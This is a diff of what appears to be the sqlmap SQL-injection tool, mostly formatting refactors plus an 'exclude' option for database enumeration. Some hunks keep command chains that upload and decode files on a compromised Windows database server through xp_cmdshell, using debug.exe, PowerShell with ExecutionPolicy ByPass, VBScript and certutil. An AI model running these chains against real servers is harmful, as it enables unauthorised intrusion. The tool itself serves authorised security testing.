'divide': 247, "divide": 247,
'oslash': 248, "oslash": 248,
'ugrave': 249, "ugrave": 249,
'uacute': 250, "uacute": 250,
'ucirc': 251, "ucirc": 251,
'uuml': 252, "uuml": 252,
'yacute': 253, "yacute": 253,
'thorn': 254, "thorn": 254,
'yuml': 255, "yuml": 255,
'OElig': 338, "OElig": 338,
'oelig': 339, "oelig": 339,
'Scaron': 352, "Scaron": 352,
'fnof': 402, "fnof": 402,
'scaron': 353, "scaron": 353,
'Yuml': 376, "Yuml": 376,
'circ': 710, "circ": 710,
'tilde': 732, "tilde": 732,
'Alpha': 913, "Alpha": 913,
'Beta': 914, "Beta": 914,
'Gamma': 915, "Gamma": 915,
'Delta': 916, "Delta": 916,
'Epsilon': 917, "Epsilon": 917,
'Zeta': 918, "Zeta": 918,
'Eta': 919, "Eta": 919,
'Theta': 920, "Theta": 920,
'Iota': 921, "Iota": 921,
'Kappa': 922, "Kappa": 922,
'Lambda': 923, "Lambda": 923,
'Mu': 924, "Mu": 924,
'Nu': 925, "Nu": 925,
'Xi': 926, "Xi": 926,
'Omicron': 927, "Omicron": 927,
'Pi': 928, "Pi": 928,
'Rho': 929, "Rho": 929,
'Sigma': 931, "Sigma": 931,
'Tau': 932, "Tau": 932,
'Upsilon': 933, "Upsilon": 933,
'Phi': 934, "Phi": 934,
'Chi': 935, "Chi": 935,
'Psi': 936, "Psi": 936,
'Omega': 937, "Omega": 937,
'alpha': 945, "alpha": 945,
'beta': 946, "beta": 946,
'gamma': 947, "gamma": 947,
'delta': 948, "delta": 948,
'epsilon': 949, "epsilon": 949,
'zeta': 950, "zeta": 950,
'eta': 951, "eta": 951,
'theta': 952, "theta": 952,
'iota': 953, "iota": 953,
'kappa': 954, "kappa": 954,
'lambda': 955, "lambda": 955,
'mu': 956, "mu": 956,
'nu': 957, "nu": 957,
'xi': 958, "xi": 958,
'omicron': 959, "omicron": 959,
'pi': 960, "pi": 960,
'rho': 961, "rho": 961,
'sigmaf': 962, "sigmaf": 962,
'sigma': 963, "sigma": 963,
'tau': 964, "tau": 964,
'upsilon': 965, "upsilon": 965,
'phi': 966, "phi": 966,
'chi': 967, "chi": 967,
'psi': 968, "psi": 968,
'omega': 969, "omega": 969,
'thetasym': 977, "thetasym": 977,
'upsih': 978, "upsih": 978,
'piv': 982, "piv": 982,
'bull': 8226, "bull": 8226,
'hellip': 8230, "hellip": 8230,
'prime': 8242, "prime": 8242,
'Prime': 8243, "Prime": 8243,
'oline': 8254, "oline": 8254,
'frasl': 8260, "frasl": 8260,
'ensp': 8194, "ensp": 8194,
'emsp': 8195, "emsp": 8195,
'thinsp': 8201, "thinsp": 8201,
'zwnj': 8204, "zwnj": 8204,
'zwj': 8205, "zwj": 8205,
'lrm': 8206, "lrm": 8206,
'rlm': 8207, "rlm": 8207,
'ndash': 8211, "ndash": 8211,
'mdash': 8212, "mdash": 8212,
'lsquo': 8216, "lsquo": 8216,
'rsquo': 8217, "rsquo": 8217,
'sbquo': 8218, "sbquo": 8218,
'ldquo': 8220, "ldquo": 8220,
'rdquo': 8221, "rdquo": 8221,
'bdquo': 8222, "bdquo": 8222,
'dagger': 8224, "dagger": 8224,
'Dagger': 8225, "Dagger": 8225,
'permil': 8240, "permil": 8240,
'lsaquo': 8249, "lsaquo": 8249,
'rsaquo': 8250, "rsaquo": 8250,
'euro': 8364, "euro": 8364,
'weierp': 8472, "weierp": 8472,
'image': 8465, "image": 8465,
'real': 8476, "real": 8476,
'trade': 8482, "trade": 8482,
'alefsym': 8501, "alefsym": 8501,
'larr': 8592, "larr": 8592,
'uarr': 8593, "uarr": 8593,
'rarr': 8594, "rarr": 8594,
'darr': 8595, "darr": 8595,
'harr': 8596, "harr": 8596,
'crarr': 8629, "crarr": 8629,
'lArr': 8656, "lArr": 8656,
'uArr': 8657, "uArr": 8657,
'rArr': 8658, "rArr": 8658,
'dArr': 8659, "dArr": 8659,
'hArr': 8660, "hArr": 8660,
'forall': 8704, "forall": 8704,
'part': 8706, "part": 8706,
'exist': 8707, "exist": 8707,
'empty': 8709, "empty": 8709,
'nabla': 8711, "nabla": 8711,
'isin': 8712, "isin": 8712,
'notin': 8713, "notin": 8713,
'ni': 8715, "ni": 8715,
'prod': 8719, "prod": 8719,
'sum': 8721, "sum": 8721,
'minus': 8722, "minus": 8722,
'lowast': 8727, "lowast": 8727,
'radic': 8730, "radic": 8730,
'prop': 8733, "prop": 8733,
'infin': 8734, "infin": 8734,
'ang': 8736, "ang": 8736,
'and': 8743, "and": 8743,
'or': 8744, "or": 8744,
'cap': 8745, "cap": 8745,
'cup': 8746, "cup": 8746,
'int': 8747, "int": 8747,
'there4': 8756, "there4": 8756,
'sim': 8764, "sim": 8764,
'cong': 8773, "cong": 8773,
'asymp': 8776, "asymp": 8776,
'ne': 8800, "ne": 8800,
'equiv': 8801, "equiv": 8801,
'le': 8804, "le": 8804,
'ge': 8805, "ge": 8805,
'sub': 8834, "sub": 8834,
'sup': 8835, "sup": 8835,
'nsub': 8836, "nsub": 8836,
'sube': 8838, "sube": 8838,
'supe': 8839, "supe": 8839,
'oplus': 8853, "oplus": 8853,
'otimes': 8855, "otimes": 8855,
'perp': 8869, "perp": 8869,
'sdot': 8901, "sdot": 8901,
'lceil': 8968, "lceil": 8968,
'rceil': 8969, "rceil": 8969,
'lfloor': 8970, "lfloor": 8970,
'rfloor': 8971, "rfloor": 8971,
'lang': 9001, "lang": 9001,
'rang': 9002, "rang": 9002,
'loz': 9674, "loz": 9674,
'spades': 9824, "spades": 9824,
'clubs': 9827, "clubs": 9827,
'hearts': 9829, "hearts": 9829,
'diams': 9830, "diams": 9830,
} }
+1 -2
View File
@@ -62,8 +62,7 @@ class ProgressBar(object):
elif numHashes == allFull: elif numHashes == allFull:
self._progBar = "[%s]" % ("=" * allFull) self._progBar = "[%s]" % ("=" * allFull)
else: else:
self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes))
" " * (allFull - numHashes))
# Add the percentage at the beginning of the progress bar # Add the percentage at the beginning of the progress bar
percentString = getUnicode(percentDone) + "%" percentString = getUnicode(percentDone) + "%"
+1 -1
View File
@@ -187,5 +187,5 @@ def search(dork):
finally: finally:
kb.redirectChoice = popValue() kb.redirectChoice = popValue()
def setHTTPHandlers(): # Cross-linked function def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
+8 -2
View File
@@ -46,7 +46,7 @@ class SQLAlchemy(GenericConnector):
try: try:
if not self.port and self.db: if not self.port and self.db:
if not os.path.exists(self.db): if not os.path.exists(self.db):
raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
_ = conf.direct.split("//", 1) _ = conf.direct.split("//", 1)
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
@@ -54,7 +54,13 @@ class SQLAlchemy(GenericConnector):
if self.dialect: if self.dialect:
conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False} if self.dialect == "sqlite" else {}) if self.dialect == "sqlite":
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
elif self.dialect == "oracle":
engine = _sqlalchemy.create_engine(conf.direct, connect_args={"allow_twophase": False})
else:
engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
self.connector = engine.connect() self.connector = engine.connect()
except (TypeError, ValueError): except (TypeError, ValueError):
if "_get_server_version_info" in traceback.format_exc(): if "_get_server_version_info" in traceback.format_exc():
+3 -3
View File
@@ -10,9 +10,9 @@ import sys
PYVERSION = sys.version.split()[0] PYVERSION = sys.version.split()[0]
if PYVERSION >= "3" or PYVERSION < "2.6": if PYVERSION >= "3" or PYVERSION < "2.6":
exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION) exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
extensions = ("gzip", "ssl", "sqlite3", "zlib") extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib")
try: try:
for _ in extensions: for _ in extensions:
__import__(_) __import__(_)
@@ -20,4 +20,4 @@ except ImportError:
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
errMsg += "most likely because current version of Python has been " errMsg += "most likely because current version of Python has been "
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
exit(errMsg) exit(errMsg)
+1 -1
View File
@@ -69,7 +69,7 @@ class xrange(object):
if isinstance(index, slice): if isinstance(index, slice):
start, stop, step = index.indices(self._len()) start, stop, step = index.indices(self._len())
return xrange(self._index(start), return xrange(self._index(start),
self._index(stop), step*self.step) self._index(stop), step * self.step)
elif isinstance(index, (int, long)): elif isinstance(index, (int, long)):
if index < 0: if index < 0:
fixed_index = index + self._len() fixed_index = index + self._len()
+6 -5
View File
@@ -48,11 +48,12 @@ class Fingerprint(GenericFingerprint):
# Microsoft Access table reference updated on 01/2010 # Microsoft Access table reference updated on 01/2010
sysTables = { sysTables = {
"97": ("MSysModules2", "MSysAccessObjects"), "97": ("MSysModules2", "MSysAccessObjects"),
"2000" : ("!MSysModules2", "MSysAccessObjects"), "2000": ("!MSysModules2", "MSysAccessObjects"),
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"), "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
} }
# MSysAccessXML is not a reliable system table because it doesn't always exist # MSysAccessXML is not a reliable system table because it doesn't always exist
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
-1
View File
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
except ibm_db_dbi.OperationalError, msg: except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg) raise SqlmapConnectionException(msg)
self.initCursor() self.initCursor()
self.printConnected() self.printConnected()
+7 -5
View File
@@ -64,9 +64,9 @@ class Fingerprint(GenericFingerprint):
value += DBMS.DB2 value += DBMS.DB2
return value return value
actVer = Format.getDbms() actVer = Format.getDbms()
blank = " " * 15 blank = " " * 15
value += "active fingerprint: %s" % actVer value += "active fingerprint: %s" % actVer
if kb.bannerFp: if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
@@ -127,12 +127,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if result: if result:
versions = { "2003": ("5.2", (2, 1)), versions = {
"2003": ("5.2", (2, 1)),
"2008": ("7.0", (1,)), "2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)), "7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)), "XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) } "NT": ("4.0", (6, 5, 4, 3, 2, 1))
}
# Get back-end DBMS underlying operating system version # Get back-end DBMS underlying operating system version
for version, data in versions.items(): for version, data in versions.items():
+2 -2
View File
@@ -39,8 +39,8 @@ class Connector(GenericConnector):
self.checkFileDb() self.checkFileDb()
try: try:
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ # Reference: http://www.daniweb.com/forums/thread248499.html
user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
except kinterbasdb.OperationalError, msg: except kinterbasdb.OperationalError, msg:
raise SqlmapConnectionException(msg[1]) raise SqlmapConnectionException(msg[1])
+6 -6
View File
@@ -68,12 +68,12 @@ class Fingerprint(GenericFingerprint):
def _sysTablesCheck(self): def _sysTablesCheck(self):
retVal = None retVal = None
table = ( table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# TODO: add test for Firebird 2.5 # TODO: add test for Firebird 2.5
) )
for i in xrange(len(table)): for i in xrange(len(table)):
version, checks = table[i] version, checks = table[i]
+3 -6
View File
@@ -46,11 +46,8 @@ class Connector(GenericConnector):
try: try:
driver = 'org.hsqldb.jdbc.JDBCDriver' driver = 'org.hsqldb.jdbc.JDBCDriver'
connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
self.connector = jaydebeapi.connect(driver, self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
connection_string,
str(self.user),
str(self.password))
except Exception, msg: except Exception, msg:
raise SqlmapConnectionException(msg[0]) raise SqlmapConnectionException(msg[0])
@@ -70,7 +67,7 @@ class Connector(GenericConnector):
try: try:
self.cursor.execute(query) self.cursor.execute(query)
retVal = True retVal = True
except Exception, msg: #todo fix with specific error except Exception, msg: # TODO: fix with specific error
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
self.connector.commit() self.connector.commit()
+4 -1
View File
@@ -125,9 +125,12 @@ class Fingerprint(GenericFingerprint):
return True return True
else: else:
warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
logger.warn(warnMsg) logger.warn(warnMsg)
dbgMsg = "...or version is < 1.7.2"
logger.debug(dbgMsg)
return False return False
def getHostname(self): def getHostname(self):
-1
View File
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
except ibm_db_dbi.OperationalError, msg: except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg) raise SqlmapConnectionException(msg)
self.initCursor() self.initCursor()
self.printConnected() self.printConnected()
+1 -1
View File
@@ -41,4 +41,4 @@ class Syntax(GenericSyntax):
for _ in excluded.items(): for _ in excluded.items():
retVal = retVal.replace(_[1], _[0]) retVal = retVal.replace(_[1], _[0])
return retVal return retVal
+4 -6
View File
@@ -108,7 +108,7 @@ class Enumeration(GenericEnumeration):
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
elif conf.db is not None: elif conf.db is not None:
if ',' in conf.db: if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating " errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns" errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -120,8 +120,8 @@ class Enumeration(GenericEnumeration):
else: else:
colList = [] colList = []
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
@@ -184,9 +184,7 @@ class Enumeration(GenericEnumeration):
rootQuery = queries[DBMS.MAXDB].columns rootQuery = queries[DBMS.MAXDB].columns
for tbl in tblList: for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \ if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]:
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on " infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg) logger.info(infoMsg)
+25 -10
View File
@@ -14,6 +14,7 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import safeStringFormat from lib.core.common import safeStringFormat
from lib.core.common import singleTimeLogMessage
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf from lib.core.data import conf
@@ -94,8 +95,12 @@ class Enumeration(GenericEnumeration):
for db in dbs: for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg) singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue continue
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
@@ -113,8 +118,12 @@ class Enumeration(GenericEnumeration):
for db in dbs: for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg) singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue continue
infoMsg = "fetching number of tables for " infoMsg = "fetching number of tables for "
@@ -199,8 +208,12 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg) singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -271,8 +284,8 @@ class Enumeration(GenericEnumeration):
infoMsgDb = "" infoMsgDb = ""
colList = conf.col.split(',') colList = conf.col.split(',')
if conf.excludeCol: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
origTbl = conf.tbl origTbl = conf.tbl
origDb = conf.db origDb = conf.db
@@ -318,8 +331,7 @@ class Enumeration(GenericEnumeration):
_ = conf.db.split(',') _ = conf.db.split(',')
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs: elif conf.excludeSysDbs:
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(msg)
else: else:
infoMsgDb = " across all databases" infoMsgDb = " across all databases"
@@ -334,6 +346,9 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
continue continue
if conf.exclude and db in conf.exclude.split(','):
continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db) query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db) query += " AND %s" % colQuery.replace("[DB]", db)
@@ -353,16 +368,16 @@ class Enumeration(GenericEnumeration):
if foundTbl not in dbs[db]: if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {} dbs[db][foundTbl] = {}
if colConsider == "1": if colConsider == '1':
conf.db = db conf.db = db
conf.tbl = foundTbl conf.tbl = foundTbl
conf.col = column conf.col = column
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {} kb.data.cachedColumns = {}
else: else:
dbs[db][foundTbl][column] = None dbs[db][foundTbl][column] = None
+43 -27
View File
@@ -73,10 +73,13 @@ class Filesystem(GenericFilesystem):
logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) commands = (
complComm = " & ".join(command for command in commands) "cd \"%s\"" % tmpPath,
"debug < %s" % randScr,
"del /F /Q %s" % randScr
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
return chunkName return chunkName
@@ -195,12 +198,13 @@ class Filesystem(GenericFilesystem):
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, commands = (
"del /F /Q \"%s\"" % encodedBase64FilePath, "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
"del /F /Q \"%s\"" % randPSScriptPath) "del /F /Q \"%s\"" % encodedBase64FilePath,
complComm = " & ".join(command for command in commands) "del /F /Q \"%s\"" % randPSScriptPath
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using debug.exe to write the %s " % fileType infoMsg = "using debug.exe to write the %s " % fileType
@@ -219,10 +223,13 @@ class Filesystem(GenericFilesystem):
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
logger.debug(debugMsg) logger.debug(debugMsg)
commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) commands = (
complComm = " & ".join(command for command in commands) "cd \"%s\"" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
else: else:
debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg = "the file is larger than %d bytes. " % debugSize
debugMsg += "sqlmap will split it into chunks locally, upload " debugMsg += "sqlmap will split it into chunks locally, upload "
@@ -244,17 +251,22 @@ class Filesystem(GenericFilesystem):
debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
logger.debug(debugMsg) logger.debug(debugMsg)
commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) commands = (
complComm = " & ".join(command for command in commands) "cd \"%s\"" % tmpPath,
copyCmd,
"del /F /Q %s" % chunkName
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) commands = (
complComm = " & ".join(command for command in commands) "cd \"%s\"" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
infoMsg = "using a custom visual basic script to write the " infoMsg = "using a custom visual basic script to write the "
@@ -330,12 +342,14 @@ class Filesystem(GenericFilesystem):
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, commands = (
"del /F /Q %s" % randVbs, "cd \"%s\"" % tmpPath,
"del /F /Q %s" % randFile) "cscript //nologo %s" % randVbs,
complComm = " & ".join(command for command in commands) "del /F /Q %s" % randVbs,
"del /F /Q %s" % randFile
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using certutil.exe to write the %s " % fileType infoMsg = "using certutil.exe to write the %s " % fileType
@@ -349,7 +363,7 @@ class Filesystem(GenericFilesystem):
encodedFileContent = base64encode(wFileContent) encodedFileContent = base64encode(wFileContent)
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
@@ -357,11 +371,13 @@ class Filesystem(GenericFilesystem):
logger.debug("decoding the file to %s.." % dFile) logger.debug("decoding the file to %s.." % dFile)
commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), commands = (
"del /F /Q %s" % randFile) "cd \"%s\"" % tmpPath,
complComm = " & ".join(command for command in commands) "certutil -f -decode %s %s" % (randFile, dFile),
"del /F /Q %s" % randFile
)
self.execCmd(complComm) self.execCmd(" & ".join(command for command in commands))
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
# NOTE: this is needed here because we use xp_cmdshell extended # NOTE: this is needed here because we use xp_cmdshell extended
+18 -14
View File
@@ -88,12 +88,14 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming %s" % DBMS.MSSQL infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg) logger.info(infoMsg)
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ for version, check in (
("2005", "XACT_STATE()=XACT_STATE()"), \ ("2000", "HOST_NAME()=HOST_NAME()"),
("2008", "SYSDATETIME()=SYSDATETIME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \ ("2008", "SYSDATETIME()=SYSDATETIME()"),
("2014", "CHARINDEX('12.0.2000',@@version)>0"), \ ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
("2016", "ISJSON(NULL) IS NULL")): ("2014", "CHARINDEX('12.0.2000',@@version)>0"),
("2016", "ISJSON(NULL) IS NULL")
):
